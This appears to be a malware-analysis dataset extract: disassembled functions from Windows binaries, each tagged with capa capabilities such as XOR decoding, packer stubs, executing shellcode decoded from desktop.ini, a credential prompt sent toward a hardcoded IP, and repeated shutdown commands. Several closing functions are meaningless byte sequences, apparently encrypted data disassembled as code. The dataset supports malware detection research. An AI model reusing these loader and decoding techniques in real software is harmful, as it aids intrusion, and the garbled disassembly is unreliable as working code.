joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4062c0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x14
push ebx
push ebp
push esi
push edi
xorps xmm0, xmm0
push 0x2000
movlpd qword [esp + 0x18], xmm0
call fcn.0040e8f0
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
je 0x406412
mov ebx, dword [esp + 0x28]
push 2
push 0
push 0
push ebx
call fcn.0040c2a9
add esp, 0x10
test eax, eax
js 0x406412
push ebx
call fcn.00412093
mov esi, dword [esp + 0x34]
add esp, 4
mov edi, eax
test edx, edx
jb 0x406412
ja 0x406344
cmp edi, esi
jb 0x406412
test edx, edx
jne 0x406344
cmp edi, 0x2000
jae 0x406344
xorps xmm0, xmm0
movlpd qword [esp + 0x1c], xmm0
mov ebp, dword [esp + 0x20]
mov ebx, dword [esp + 0x1c]
jmp 0x406351
mov ebx, edi
mov ebp, edx
add ebx, 0xffffe000
adc ebp, 0xffffffff
sub edi, ebx
cmp edi, esi
jb 0x406412
push 0
push ebp
push ebx
push dword [esp + 0x34]
call fcn.0040c2a9
add esp, 0x10
test eax, eax
js 0x406412
push dword [esp + 0x28]
push edi
push 1
push dword [esp + 0x1c]
call fcn.0040beb2
add esp, 0x10
cmp eax, edi
jne 0x406412
sub edi, esi
add edi, 1
je 0x4063f1
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x2c]
dec edx
add edx, edi
sub esi, 4
jb 0x4063b6
mov ecx, dword [edx]
cmp ecx, dword [eax]
jne 0x4063bb
add edx, 4
add eax, 4
sub esi, 4
jae 0x4063a5
cmp esi, 0xfffffffc
je 0x406432
mov cl, byte [edx]
cmp cl, byte [eax]
jne 0x4063e8
cmp esi, 0xfffffffd
je 0x406432
mov cl, byte [edx + 1]
cmp cl, byte [eax + 1]
jne 0x4063e8
cmp esi, 0xfffffffe
je 0x406432
mov cl, byte [edx + 2]
cmp cl, byte [eax + 2]
jne 0x4063e8
cmp esi, 0xffffffff
je 0x406432
mov cl, byte [edx + 3]
cmp cl, byte [eax + 3]
je 0x406432
mov esi, dword [esp + 0x30]
sub edi, 1
jne 0x406395
mov edi, esi
mov edx, 0
add edi, ebx
adc edx, ebp
add edi, 0xffffffff
adc edx, 0xffffffff
test ebp, ebp
jne 0x406325
test ebx, ebx
jne 0x406325
mov edi, dword [esp + 0x14]
mov esi, dword [esp + 0x18]
push dword [esp + 0x10]
call fcn.0040e8d5
add esp, 4
mov eax, edi
mov edx, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
xor esi, esi
add edi, ebx
adc esi, ebp
add edi, 0xffffffff
adc esi, 0xffffffff
jmp 0x40641a
Function at 0x406810
Capabilities:
Create directory

Disassembly:
mov eax, 0x201c
call fcn.00409570
mov eax, dword [0x430004]
xor eax, esp
mov dword [esp + 0x2018], eax
push ebx
mov ebx, dword [esp + 0x2024]
lea eax, [esp + 8]
push esi
push eax
xor esi, esi
mov dword [esp + 0x10], 0xffffffff
push 8
mov dword [esp + 0x10], 0
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4068bb
lea eax, [esp + 8]
push eax
push esi
push esi
push 1
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x406881
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x4068bb
push dword [esp + 8]
push 1
call fcn.0040e8ca
mov esi, eax
add esp, 8
test esi, esi
je 0x4068bb
lea eax, [esp + 8]
push eax
push dword [esp + 0xc]
push esi
push 1
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x4068bb
lea eax, [esp + 0x10]
push eax
push dword [esi]
call sub.ADVAPI32.dll_ConvertSidToStringSidW
push esi
call fcn.0040e8d5
mov eax, dword [esp + 0x10]
add esp, 4
cmp eax, 0xffffffff
je 0x4068d4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x10]
mov eax, str.S_1_3_4
test esi, esi
cmovne eax, esi
push eax
push str.D:_A__FA____s_
lea eax, [esp + 0x28]
push 0x1000
push eax
call fcn.00406650
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], 0xc
push eax
push 1
lea eax, [esp + 0x2c]
mov dword [esp + 0x28], 0
push eax
call sub.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW
test eax, eax
je 0x406951
lea eax, [esp + 0x14]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x406951
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x2018]
xor ecx, esp
call fcn.0040955a
add esp, 0x201c
ret
mov ecx, dword [esp + 0x2020]
or eax, 0xffffffff
pop esi
pop ebx
xor ecx, esp
call fcn.0040955a
add esp, 0x201c
ret
Function at 0x414fee
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00414e64

Function at 0x419487
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00418fda
Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x13eb5ceb
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x60b61fe6
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x4590d0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, ecx
call fcn.00453870
test eax, eax
je 0x4591bf
mov ecx, edi
call fcn.00453870
mov ecx, eax
call fcn.004510d0
test eax, eax
jne 0x4591bf
push eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4591bf
mov eax, dword [0x4f2770]
and eax, 0xffff
push eax
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
jne 0x459132
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0xc
lea ecx, [esp + 0x10]
mov ebp, dword [esp + 0x24]
push 1
push ecx
mov ecx, dword [edi + 0x44]
lea edx, [esp + 0x1c]
shr ecx, 4
lea eax, [esp + 0x20]
push edx
mov edx, dword [esp + 0x2c]
and ecx, 1
push eax
push ecx
push ebp
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalSize]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
push eax
mov ecx, edi
call fcn.00453870
mov ecx, eax
call fcn.00451300
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x28]
mov eax, 1
cmp ecx, eax
jne 0x4591bf
cmp ebx, eax
jne 0x4591bf
cmp dword [esp + 0x10], eax
jne 0x4591a5
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0xcc]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov edx, dword [edi]
push eax
mov eax, dword [esp + 0x24]
push ecx
push ebp
push eax
mov ecx, edi
call dword [edx + 0xc0]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0xc

Function at 0x45be50
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4b55f8
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x45be89
inc eax
mov dword [esi + 0x10], eax
jmp 0x45bf9c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x45be9d
mov eax, 0xffffffc7
jmp 0x45bf9e
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x45beae
cmp dword [esi + 8], eax
jne 0x45be9d
cmp dword [esi + 8], eax
jne 0x45bec7
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x45bec7
mov eax, 0xffffffc7
jmp 0x45bf9e
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x45bedb
push eax
mov ecx, ebx
call fcn.0045b680
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
jmp loc.0054d000
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
Function at 0x4608e0
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x460940
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x460940
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x460940
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x460940
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x460980
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop ecx
ret
Function at 0x10015057
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002dffa
call fcn.10016e35
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10015074
xor eax, eax
jmp 0x10015151
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x1001514f
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x10015125
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.1000127b
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.1000127b
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10001cc6
lea ecx, [ebp - 0x240]
call fcn.10001cc6
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.1002529b
pop ecx
pop ecx
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test al, al
jne 0x1001512f
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10001eb4
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x100150a4
jmp 0x10015148
mov edi, dword [ebp - 0x234]
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10001eb4
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10016ddf
ret

Function at 0x1002529b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x100252aa
pop dword [ebp - 0x50]
mov eax, 0x100252aa
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x416d2
push 0
mov eax, 0xbc9f09a9
sub eax, 0xac9c084d
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x1a879887
add ecx, 0xe578b443
mov ebx, eax
mov esi, 0xf29227d7
add esi, 0x1d729429
add esi, dword [ebp - 0x50]
mov edi, 0x7ee8a2f5
add dword [ebp - 0x38], 0x2ddf09c1
mov edx, dword [esi]
add dword [ebp - 8], esi
sub edx, edi
mov dword [ebp - 0x3c], 0x985cb0d0
mov dword [ebx], edx
xor dword [ebp - 0x38], 0xdb37650a
add ebx, 0x5be66fcc
add ebx, 0xa4199038
add esi, 4
loop 0x100252fe
add eax, 0xb8083d69
add eax, 0x47f8e892
mov ebx, eax
add eax, 0x610b608
add eax, 0xf9ef49fd
mov ecx, 0xf0182d54
sub ecx, 0xe0182d54
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x4033c0
Capabilities:
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
inc eax
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._wmain
mov dword [esp], eax
call sym._exit
nop
nop

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3a980
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], 0
jmp 0x40102c
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x12c
jge 0x40105d
push 0
push 0
push str._c_shutdown__a
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401023
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1000a6a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10011dac], 0
push esi
push edi
jne 0x1000a61a
call fcn.1000a586
test eax, eax
je 0x1000a65f
mov eax, dword [0x10011dac]
cmp eax, 1
jne 0x1000a63b
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000a65f
jmp 0x1000a6a1
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000a6a1
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000a663
xor eax, eax
jmp 0x1000a6a1
mov eax, dword [esi]
push dword [0x10011dac]
call edi
mov edi, eax
test edi, edi
je 0x1000a685
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000a6a1
lea edi, [esi + 0xff0]
push esi
push dword [0x10011dac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000a68b
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000a606

Function at 0x1000a812
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10011c4c]
jne 0x1000a81c
repz ret
jmp fcn.1000b021

Function at 0x1000b422
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1000b431
pop dword [ebp - 0x10]
mov eax, 0x4d0b336e
sub eax, 0x3d0a7f3d
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x3375c
push 0
mov eax, 0xaf4fc2dd
add eax, 0x60b0fe33
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0xcc7f318b
sub ecx, 0xcc7ef87c
mov edx, eax
mov ebx, 0x3836db4c
sub ebx, 0x2835154c
add ebx, dword [ebp - 0x10]
mov edi, 0x44bbd7ba
sub edi, 0x20cf0fa3
sub dword [ebp - 4], edi
mov esi, dword [ebx]
xor dword [ebp - 4], edi
xor esi, edi
add dword [ebp - 8], 0x1530db0c
mov dword [edx], esi
xor dword [ebp - 8], 0xa147763a
add edx, 4
add ebx, 0x35e5f406
add ebx, 0xca1a0bfe
loop 0x1000b490
add eax, 0x1565cef7
add eax, 0xea9b0818
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x4011b0
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4041bb
mov eax, dword fs:[0]
push eax
mov eax, 0x10440
call fcn.00403b30
mov eax, dword [0x407040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.MSVCR100.dll_printf]
push str.Type_in_your_ID_n
call esi
mov edi, dword [sym.imp.MSVCR100.dll_scanf]
lea eax, [ebp - 0x410]
push eax
push 0x4051dc
call edi
push str.Type_in_your_PWD_n
call esi
lea ecx, [ebp - 0x210]
push ecx
push 0x4051dc
call edi
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x410]
push eax
push str.119.202.250.103_20000__s__s_spare_param
lea ecx, [ebp - 0x10410]
push 0xffff
push ecx
call dword [sym.imp.MSVCR100.dll_sprintf_s]
lea edx, [ebp - 0x10410]
push str.MFCLIENT
push edx
call fcn.00401b40
add esp, 0x34
test al, al
je 0x401369
push str.start_Client.exe_MFCLIENT
call dword [sym.imp.MSVCR100.dll_system]
xor eax, eax
add esp, 4
xor ebx, ebx
mov word [ebp - 0x10448], ax
mov esi, 7
push 0xa
mov eax, str.client.exe
lea ecx, [ebp - 0x10448]
mov dword [ebp - 0x1044c], ebx
mov dword [ebp - 0x10434], esi
mov dword [ebp - 0x10438], ebx
call fcn.00401480
mov dword [ebp - 4], ebx
xor ecx, ecx
mov word [ebp - 0x1042c], cx
push 0xb
mov eax, str.PNProxy.dll
lea ecx, [ebp - 0x1042c]
mov dword [ebp - 0x10418], esi
mov dword [ebp - 0x1041c], ebx
call fcn.00401480
lea edx, [ebp - 0x1044c]
push edx
lea edi, [ebp - 0x10448]
call fcn.00401040
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
test al, al
jne 0x401301
push 0x64
call esi
lea eax, [ebp - 0x1044c]
push eax
lea edi, [ebp - 0x10448]
call fcn.00401040
add esp, 4
test al, al
je 0x4012e4
push 0x1388
call esi
mov eax, dword [ebp - 0x1044c]
lea ecx, [ebp - 0x1042c]
push ecx
call fcn.00401100
mov edi, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
mov esi, 8
add esp, 4
cmp dword [ebp - 0x10418], esi
jb 0x40133c
mov edx, dword [ebp - 0x1042c]
push edx
call edi
add esp, 4
xor eax, eax
mov dword [ebp - 0x10418], 7
mov dword [ebp - 0x1041c], ebx
mov word [ebp - 0x1042c], ax
cmp dword [ebp - 0x10434], esi
jb 0x401369
mov ecx, dword [ebp - 0x10448]
push ecx
call edi
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00403810
mov esp, ebp
pop ebp
ret
Function at 0x10003ebf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x10003ece
pop dword [ebp - 0x3c]
mov eax, 0x740abd7b
add eax, 0x9bf58153
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xfe3a59cf
add dword [ebp - 0x4c], 0x5017eb7c
mov dword [ebp - 0x48], 0x85a7d003
add dword [ebp - 0x48], 0xac8b7c42
mov dword [ebp - 0x44], 0xca04cb0c
sub dword [ebp - 0x44], 0x7db886de
mov dword [ebp - 0x40], 0x4e7c1f13
add dword [ebp - 0x40], 0xb183e0ed
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x33c7beca
sub eax, 0x23c76e86
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x2168b476
add dword [ebp - 0x4c], 0x5309b4e0
mov dword [ebp - 0x48], 0x42de49c1
add dword [ebp - 0x48], 0xfe8e17b4
mov dword [ebp - 0x44], 0x76f36295
sub dword [ebp - 0x44], 0x1383f629
mov dword [ebp - 0x40], 0xc2573fb9
sub dword [ebp - 0x40], 0xc2573fb9
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x36a36
push 0
call eax
mov ecx, 0x4805
mov ebx, eax
mov edi, 0x2991c8bb
add edi, 0xe66eed45
add edi, dword [ebp - 0x3c]
mov edx, 0x3e47808
mov dword [ebp - 0x2c], 0x3a2da103
mov esi, dword [edi]
sub dword [ebp - 0x28], eax
xor esi, edx
xor dword [ebp - 0x38], eax
mov dword [ebx], esi
mov dword [ebp - 4], 0xdbfcb9ea
add ebx, 0x3240d5f1
sub ebx, 0x3240d5ed
add edi, 0x2d87e192
sub edi, 0x2d87e18e
loop 0x10003fdf
add eax, 0x237ffc52
add eax, 0xdc811695
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x51d119c1
sub ecx, 0x41d119c1
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x49ff17
Capabilities:
Encode data using xor

Disassembly:
loopne 0x49ff8d
pushfd
inc ecx
int3
popfd
or al, 0x3e
sbb ecx, dword [edi - 0x7b]
push cs
or dl, dh
push ss
or byte [ebp + 0x783a759c], al
push esp
cmp dword [ebp + esi*8 - 0x3aa0672d], 0x286cb6ce
popal
cmc
cld
adc eax, 0xa36c362d
fsub qword [ecx + ecx]
invalid

Function at 0x519d67
Capabilities:
Encode data using xor

Disassembly:
inc edi
dec esp
inc ebp
sub dword [edx], esp
imul edi, dword [ebx], 0xffffffb0
sar byte [ecx - 0x305b3973], cl
lahf
xchg esp, eax
neg byte [ebp + 0x23482a61]
jae 0x519d79
lcall 0xd787, 0xec8ec5f1
fsubr st(0), st(0)
pop ebp
divps xmm2, xmmword [ebx + 0x22]
mul byte [edi + 0x6a]
sbb ecx, dword [0xf420515c]
and ah, dh
in eax, 0xe8
cdq
or ebx, dword [edx + 0x57]
arpl word es:[esi + 0x1f], bp
or dword [eax + 0x55], ebx
and al, 0xf0
loope 0x519d96
popfd
jbe 0x519dd4
sub bl, byte [ebx - 0x71]
push ds
adc esp, dword [edx + 0x74]
and eax, 0x9c8d5928
xchg ecx, eax
loopne 0x519e2e
and ebp, dword [esi]
pop edi
mov ebx, dword [edx]
pop ss
jo 0x519de6
sub al, 0x5d
mov dword [eax - 0x22731b6b], ebx
shl byte [ecx - 0x67161b8b], 1
mov ds, edi
shl byte [ebx + 0x1a6b6677], cl
mov cl, bl
aam 0xa5
jno 0x519dc1
invalid
in eax, dx
pushfd
mov bl, bl
salc
cmpsd dword [esi], dword es:[edi]
jae 0x519e4b
outsd dx, dword [esi]
push ds
cmc
movsb byte es:[edi], byte [esi]
test eax, 0x909d0cd8
loope 0x519deb
cmpsb byte [esi], byte es:[edi]
stosd dword es:[edi], eax
fimul dword [esi]
pop ds
adc ah, byte [ebx - 0xf]
mov al, byte [0x9908dcad]
xchg esp, eax
in eax, 0xf3
mov byte [0x1b0adeaf], al
push ss
paddsb mm6, qword [0x3cf5]
pop ds
lds eax, [esi]
jmp 0xda656e22
outsd dx, dword [esi]
cmpsb byte [esi], byte es:[edi]
test dword [edi - 0x64], ebx
jae 0x519dc5
dec edx
mov dword [eax - 0x1d], eax
cmp edx, edi
pop eax
mov ebx, 0x486ba261
xchg edx, eax
push ecx
mov esi, 0x8d44875d
hlt
cmp bl, cl
add eax, eax
or dword [edx], ebp
invalid

Function at 0x55ebe7
Capabilities:
Encode data using xor

Disassembly:
std
add bl, ah
ljmp 0x2e12
wait
daa
xchg byte [ecx + 0x76], ah
push ds
sbb edi, dword [eax - 6]
jg 0x55ebc5
cmpsd dword [esi], dword es:[edi]
add al, 0x89
mov al, 0xaf
invalid
mov byte [edx], cl
jp 0x55eb29
inc ebx
pushal
and al, 0x8e
and al, 0xfe
lodsb al, byte [esi]
pop edi
jno 0x55eb53
hlt
outsd dx, dword [esi]
mov esi, 0x81c8c3e7
nop
jp 0x55ebde
retf 0x9024
xor dword [ebp - 0x133b8d81], edx
jb 0x55eb8e
in al, dx
push cs
jmp 0x2da6e203
jp 0x55ec15
bound ebx, qword [edi + 0x44]
invalid
mov cl, 0xa1
jno 0x55ebc8
push ebp
inc edi
stc
dec edi
cmp byte [esi + 0x7da99dfe], cl
call 0x6ebe0bb9
mov es, word [ebx]
and al, 0x9d
out 0x48, al
insd dword es:[edi], dx
scasd eax, dword es:[edi]
mov dh, 0x1d
mov dh, 0xe7
shl bl, cl
and al, 0xec
arpl word [edx + 0x2e], bp
inc ebx
xchg ebp, eax
rcr dword [esi], 0x1c
jle 0x55ec8a
jo 0x55ebb5
iretd
invalid